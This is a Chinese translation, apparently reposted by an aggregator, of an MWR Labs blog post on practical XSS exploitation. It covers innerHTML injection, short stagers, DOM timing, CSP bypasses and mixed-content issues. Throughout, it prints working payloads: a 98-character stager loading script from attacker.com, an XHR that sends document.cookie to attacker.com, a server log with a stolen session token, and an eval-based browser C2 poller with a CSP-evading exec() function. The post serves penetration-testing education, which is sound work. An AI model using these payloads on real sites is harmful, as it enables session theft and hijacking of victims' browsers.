XSS利用中的一些小坑
Posted 安全客
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS利用中的一些小坑相关的知识,希望对你有一定的参考价值。
<script>alert(1)</script>
和
python –m SimpleHTTPServer
的黄金年代已经不复存在。现在想通过这些方法在locahost之外实现XSS(Cross-Site Scripting)以及窃取数据已经有点不切实际。现代浏览器部署了许多安全控制策略,应用开发者在安全意识方面也不断提高,这都是阻止我们实现传统XSS攻击的一些阻碍。
-
针对动态创建Web页面时的常见“问题” -
隐藏在 <script>alert(1)</script>
表面下的问题 -
位置问题,知道什么时候我们需要等待 -
被称为XSS杀手的CSP(Content Security Policy) -
HTTP/S混合内容,如何“干净地”窃取数据 -
使用CORS(Cross-Origin Resource Sharing)实现双向C2的一些基本知识点
innerHTML
属性将通过某些API获取的内容插入页面,就可能存在一些风险。比如如下API调用:
$ curl -X POST -H "Content-Type: application/json" --cookie "phpSESSID=hibcw4d4u4r8q447rz8221n"
-d '{"id":7357, "name":"<script>alert(1)</script>", "age":25}'
http://demoapp.loc/updateDetails
{"success":"User details updated!"}
$ curl --cookie "PHPSESSID=hibcw4d4u4r8q447rz8221n"
http://demoapp.loc/getName
{"name":"<script>alert(1)</script>"}
function getName() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
var data = JSON.parse(this.responseText);
username.innerHTML = data['name'];
}
}
xhr.open("GET", "/getName", true);
xhr.send();
}
<script>
的典型payload时,却看不到什么效果(即使目标应用没有采用任何输入验证机制,也没有编码或转义标签)。如下图所示,正常情况下我们应该能看到一个完美的弹窗:
innerHTML
属性将
<script>
标签插入页面中,那么就不应该执行该标签。
<script>
标签之外的其他方式绕过。比如,我们可以使用
<svg>
或者
<img>
标签,利用如下API调用来发起攻击:
$ curl -X POST -H "Content-Type: application/json" --cookie "PHPSESSID=hibcw4d4u4r8q447rz8221n" -d '{"id":7357, "name":"Bob<svg/onload=alert("Woop!") display=none>", "age":25}' http://demoapp.loc/updateDetails
{"success":"User details updated!"}
<script>alert(1)</script>
注入页面,看到弹窗,就可以在报告中声称我们达到了XSS效果,可以造成严重危害……这就是我所谓的“XSS假象”,虽然已经离事实真相不远。XSS可以造成很严重的危险,但如果我们没法利用XSS达到实打实的效果呢?
1
的窗显然不够令人信服,无法向客户介绍这个漏洞的严重性,需要修复。
alert()
,来继续观察能否利用这种攻击方式完成其他任务(比如删除用户账户)。我们可以注入代码,异步调用超级安全的“删除用户”API。更新payload后来试一下能否完成该任务:
POST /updateDetails HTTP/1.1
Host: demoapp.loc
{"id":7357, "name":"<svg/onload="var xhr=new XMLHttpRequest(); xhr.open('GET', '/authService/user/delete?name=bob', true);xhr.send();">", "age":25}
HTTP 200 OK
{"error":"Name too long"}
alert(1)
之外,我们无法执行太多操作,因此我们很难注入有意义的其他攻击payload(这里我们将长度限制为100个字符,在“实际场景”中,可能对应数据库中的
VARCHAR(100)
字段)。
<script src="http://attacker.com/p.js"></script>
script
标签,因为这些数据通过元素的
innerHTML
属性加载。
onerror
事件处理函数中呢?来试一下:
<img/onerror="var s=document.createElement('script'); s.src='https://attacker.com/p.js'; document.getElementsByTagName('head')[0].appendChild(s);" src=a />
alert(1)
判断目标存在一个XSS点。然而当我们尝试向他人演示漏洞影响范围,或者想执行其他操作时却无能为力。幸运的是,在这种场景下,我们可以通过如下JavaScript语法开发精简版的XSS stager,只有98个字符(其实我们可以注册短一点的域名,使用index页面进一步缩小字符数):
<svg/onload=body.appendChild(document.createElement`script`).src='https://attacker.com/p' hidden/>
innerHTML
之外的东西。大家有没有注意到,有时候我们注入了一个XSS payload(比如一个
alert
),然后发现弹窗后面变成空白页面,或缺少了某些元素?如果我们只关注弹窗本身,很可能会错失发起有效且整洁XSS攻击的重要机会。这里我们以一个简单的例子来说明。如下表单会通过GET参数提取用户名,预先在网页中填充该用户名:
alert(1)
payload时,可以注意到后台页面有些不对劲,部分页面元素已丢失:
...
<input type="text" id="message" placeholder="Message">
<input type="text" id="csrf" value="6588FF104A8522D7AB15563058AA022" hidden>
<input id="btnSubmit" type="submit" value="Send">
...
?name="><script>alert(csrf.value)</script><link/rel="
csrf
的值肯定已经定义,因为我们能在控制台中dump出这个值:
To
字段中,该字段位于
csrf
令牌字段之前。由于DOM还没有完成构建,因此在执行时这个
csrf
元素还没有存在,这也是为什么当我们执行弹窗时页面会缺失某些元素的原因所在。
DOMContentLoaded
,我们可以通过如下方式来使用:
?name="><script>document.addEventListener("DOMContentLoaded",()=>alert(csrf.value))</script><link/rel="
<html>
<body>
Hello echo (isset($_GET['name']) ? $_GET["name"] : "No one");
</body>
</html>
<script>alert(1)</script>
攻击该页面,如下所示:
?name=Bob<script>alert(1)</script>
Content-Security-Policy: style-src 'self' 'unsafe-inline'; script-src 'self' *
script-src
指令设置
unsafe-inline
。
script-src ‘self’ *
,需要注意一点,其中有个通配符(
*
)。
script-src
指令可以用来设置白名单,允许将外部JavaScript源加载到特定源。然而,这里的通配符表示任何外部JS源都可以从任何源来加载,既可以是
google.com
,也可以是
attacker.com
。
attacker.com
)上的某个文件(比如
p
),然后在注入的
script
标签的
src
属性中加载这个payload,如下所示:
# Hosted File: p ON attacker.com
alert("Loaded from attacker.com");
# XSS payload FOR demoapp.loc
?name=Bob<script src='https://attacker.com/p'></script>
Content-Security-Policy: style-src 'self' 'unsafe-inline'; script-src 'self' https://apis.provider-a.com
apis.provider-a.com
)。那么我们该怎么办?
https://demoapp.loc/js/script?v=1.2.4
https://demoapp.loc/js/script?v=1.7.3.css”/>’);alert(1);//
alert
框,我们可以将第二个注入URL点当成第一个XSS注入脚本的源(记得使用两层URL编码):
https://demoapp.loc/xss?name=Bob<script src='https://demoapp.loc/js/script?v=1.7.3.css%2522/>%2527)%3Balert(%2522Yeah!%2520Chaining!%2522)%3B//'></script>
SimpleHTTPServer
模块搭建一个简单的HTTP服务器,创建一个新的JS payload,通过异步HTTP请求(比如使用XMLHttpRequest,及XHR)来提取用户的cookie信息。事不宜迟,来试一下:
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://attacker.com:8000/?"+document.cookie, true);
xhr.send();
127.0.0.1
(显式)加入白名单中,这样在本地测试时就无需部署SSL证书,也不会触发混合内容警告(注意,这种情况只适用于使用
127.0.0.1
这个IP地址,并不是本地IP或者本地主机名)。
$ python -m SimpleHTTPServer...127.0.0.1 - - [17/Feb/2019 10:34:07] "GET /?token=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtpOjMzO3M6ODoidXNlcm5hbWUiO3M6NToiYWxpY2UiO3M6NToiZW1haWwiO3M6MTc6ImFsaWNlQGRlbW9hcHAubG9jIjt9--500573368be90e2717fa2aff1bfc5554;%20verified=yes HTTP/1.1" 200 –
127.0.0.1
这个IP地址。根据我们想要达成的“目标”,在攻击过程中我们通常可以有两种选项:
-
实现反射型XSS -
通过结合两个相对无害的独立漏洞来绕过CSP -
放弃 SimpleHTTPServer
,使用Web Server+TLS解决混合内容错误
HttpOnly
保护,而我们想利用用户会话,通过受害者浏览器来代理具体请求,那么该怎么做?我们可以更进一步,而不单单是提取cookie值。这里我们需要注入某种C2 payload,“hook”浏览器。比如使用如下XHR polling C2 PoC:
function poll() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange=()=>{
if (xhr.readyState == 4 && xhr.status == 200) {
var cmd = xhr.responseText;
if (cmd.length > 0) { eval(cmd) };
} }
xhr.open("GET", "https://attacker.com/?poll", true);
xhr.send(); setTimeout(poll, 3000);
}; poll();
3
秒轮询(poll)我们的服务器,请求服务端“命令”,执行收到的HTTP响应body中的JavaScript。这里的问题在于,CORS策略不允许客户端读取响应,反过来也意味着我们无法将命令发送到被“hook”的页面:
Access-Control-Allow-Origin: https://demoapp.loc
eval()
执行该命令。来试一下:
unsafe-eval
的原因所在。在这个案例以及许多实际环境中往往不具备该条件。
eval()
以及其他类似函数(如
timeout()
、
setInterval()
、
new Function()
等)。
exec()
函数,将其作为
eval()
的替代品。该函数的典型实现如下所示:
function exec(cmd) {
var s = document.createElement`script`;
s.src = "js/script?v="+encodeURIComponent("1.2.3.css"/>');"+cmd+"//");
with(document.body){appendChild(s);removeChild(s)};
}
$ ./c2.py -t demoapp.loc -s attacker.com –c ‘alert(“Hello from C2!”)’
alert(1)
弹窗。
译文声明
原文地址:https://labs.mwrinfosecurity.com/blog/getting-real-with-xss/
以上是关于XSS利用中的一些小坑的主要内容,如果未能解决你的问题,请参考以下文章